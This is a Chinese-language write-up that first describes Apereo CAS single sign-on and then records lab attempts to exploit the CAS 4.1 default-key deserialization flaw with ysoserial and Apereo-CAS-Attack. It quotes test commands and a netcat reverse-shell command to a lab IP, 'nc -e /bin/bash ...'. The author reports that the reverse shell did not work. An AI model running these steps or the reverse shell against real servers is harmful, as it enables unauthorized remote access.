Apereo CAS
目录
Apereo CAS是什么?
Apereo CAS4.1反序列化命令执行漏洞
Apereo CAS是什么?
Apereo CAS(Central Authentication Service)是一个开源的单点登录(SSO)解决方案,用于统一管理用户身份认证。它为web应用程序提供了集中式认证服务,使用户在多个应用系统只需登录一次,从而避免多次输入用户名和密码。
主要功能:
- 单点登录(SSO):允许用户通过一次身份验证访问多个应用程序和服务,减少密码管理负担。
- 支持多种认证协议:包括 CAS 协议、SAML、OAuth、OpenID 等,适应不同的认证需求。
- 灵活的集成:可以与各种应用程序和服务(如 Web 应用、桌面应用和移动应用)进行集成。
- 高安全性:支持多种认证方式(如双因素认证、LDAP 集成、OAuth2 等),并提供安全的令牌交换机制。
- 扩展性:Apereo CAS 提供了丰富的插件和扩展功能,可以根据组织需求进行定制。
应用场景:
- 企业内部应用:为企业的多个内部应用提供统一的身份认证服务,简化用户管理。
- 教育机构:为学校或大学的教学管理系统、图书馆系统等提供单点登录解决方案。
- 政府与大规模系统:为政府部门或大型机构的多种应用提供安全的身份认证。
优势:
- 简化用户体验:减少了登录过程中的繁琐步骤,提高用户体验。
- 提高安全性:通过集中式管理认证,降低安全漏洞的风险,特别是在使用多因素认证时。
- 支持广泛的协议:适应不同的应用环境和技术栈,使得系统集成更加灵活
Apereo CAS4.1反序列化命令执行漏洞
漏洞成因:存在默认密钥,通过默认密钥构造payload,触发反序列化漏洞。
版本要求:Apereo CAS < 4.1.7
账号要求:无
步骤1:抓取登录数据包
步骤2:利用ysoserial生成payload,这里发现生成的仅仅是普通的反序列化流,没有特定的CAS结构,成功不了。还是得用Apereo-CAS-Attack。
步骤3:替换execution参数为payload
验证结果
步骤4: 更换反向shell,测试
失败,硬编码可能不行,base64编码后测试
失败,编码后不行,难道是权限不够?测试如下
失败,没有成功生成该文件,为什么?
继续测试
确定命令正确
查看结果
命令是 touch /tmp/test;id >> /tmp/test。
结果是生成了test文件,'test;id'文件,这条命令显然是没有把“分号”当做分隔符,而是当做了文件名的一部分。
看了其他文章,发现命令写错了,正常的是:
再测试:
不行,监听没有反应,反弹不回来,但是测试payload是正确的,结果如下:
换一个payload,用"nc -e /bin/bash 192.168.23.133 9999"测试
依然是没有反应,问题可能需要一点时间分析底层原理。后续找到在修改。